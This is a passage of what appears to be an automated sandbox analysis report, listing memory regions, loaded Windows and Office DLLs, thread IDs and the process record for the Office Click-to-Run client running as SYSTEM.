= 0x7fef7c52fff entry_point = 0x7fef7c50000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1933 start_va = 0x7fef7c60000 end_va = 0x7fef7c62fff entry_point = 0x7fef7c60000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1934 start_va = 0x7fef7c70000 end_va = 0x7fef7c72fff entry_point = 0x7fef7c70000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1935 start_va = 0x7fef7c80000 end_va = 0x7fef7c82fff entry_point = 0x7fef7c80000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1936 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff entry_point = 0x7fef7c90000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1937 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff entry_point = 0x7fef7ca0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1938 start_va = 0x7fef7cb0000 end_va = 0x7fef7da1fff entry_point = 0x7fef7cb0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 1939 start_va = 0x7fef7db0000 end_va = 0x7fef7db3fff entry_point = 0x7fef7db0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1940 start_va = 0x7fef7dc0000 end_va = 0x7fef7dd6fff entry_point = 0x7fef7dc0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 1941 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1942 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 1943 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1944 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1945 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1946 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1947 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1948 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1949 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1950 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1951 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1952 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1953 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1954 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1955 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1956 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1957 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1958 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1959 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1960 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1961 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1962 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1963 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2235 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2236 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2237 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2238 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2239 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2240 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2241 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2242 start_va = 0x270000 end_va = 0x32ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2243 start_va = 0x660000 end_va = 0x7e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2244 start_va = 0x7f0000 end_va = 0x970fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2245 start_va = 0x980000 end_va = 0xd72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 2246 start_va = 0xe70000 end_va = 0xe7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 2247 start_va = 0xea0000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 2248 start_va = 0xf20000 end_va = 0x11eefff entry_point = 0xf20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2249 start_va = 0x11f0000 end_va = 0x12effff entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 2250 start_va = 0x13b0000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 2251 start_va = 0x1530000 end_va = 0x162ffff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2252 start_va = 0x7fee7620000 end_va = 0x7fee76bffff entry_point = 0x7fee7620000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2253 start_va = 0x7fef3660000 end_va = 0x7fef3741fff entry_point = 0x7fef3660000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2254 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2255 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2256 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2257 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2258 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2259 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2260 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2261 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2262 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2263 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2354 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2355 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 2356 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2357 start_va = 0x150000 end_va = 0x157fff entry_point = 0x150000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2358 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 2359 start_va = 0x330000 end_va = 0x333fff entry_point = 0x330000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2360 start_va = 0x340000 end_va = 0x343fff entry_point = 0x340000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2361 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 2362 start_va = 0x460000 end_va = 0x460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2363 start_va = 0x470000 end_va = 0x52ffff entry_point = 0x470000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2364 start_va = 0x16b0000 end_va = 0x17affff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 2365 start_va = 0x17b0000 end_va = 0x18affff entry_point = 0x0 region_type = private name = "private_0x00000000017b0000" filename = "" Region: id = 2366 start_va = 0x18d0000 end_va = 0x19cffff entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 2367 start_va = 0x1a00000 end_va = 0x1afffff entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 2368 start_va = 0x1b20000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b20000" filename = "" Region: id = 2369 start_va = 0x1c50000 end_va = 0x1d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 2370 start_va = 0x1d50000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 2371 start_va = 0x1e50000 end_va = 0x2192fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 2372 start_va = 0x2290000 end_va = 0x230ffff entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 2373 start_va = 0x2460000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2374 start_va = 0x24e0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 2375 start_va = 0x2630000 end_va = 0x272ffff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 2376 start_va = 0x2820000 end_va = 0x291ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 2377 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2378 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2379 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2380 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2381 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2382 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2383 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2384 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2385 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2386 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2387 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2388 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2389 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2390 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2391 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2392 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2393 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2394 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2395 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2396 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2397 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2398 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2399 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2400 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2401 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2402 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2403 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2404 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2405 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2406 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2407 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2408 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2409 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2410 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2411 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2412 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Thread: id = 142 os_tid = 0x844 Thread: id = 201 os_tid = 0x5fc Thread: id = 203 os_tid = 0x550 Thread: id = 207 os_tid = 0xa6c Thread: id = 208 os_tid = 0xa50 Thread: id = 210 os_tid = 0xa58 Thread: id = 212 os_tid = 0xa44 Thread: id = 214 os_tid = 0xa54 Thread: id = 218 os_tid = 0xb6c Thread: id = 219 os_tid = 0xb7c Thread: id = 220 os_tid = 0xafc Thread: id = 227 os_tid = 0x6c8 Thread: id = 232 os_tid = 0xac0 Thread: id = 234 os_tid = 0x630 Thread: id = 236 os_tid = 0x14c Process: id = "12" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x32f1a000" os_pid = "0x848" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x350" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1635 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1636 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1637 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = 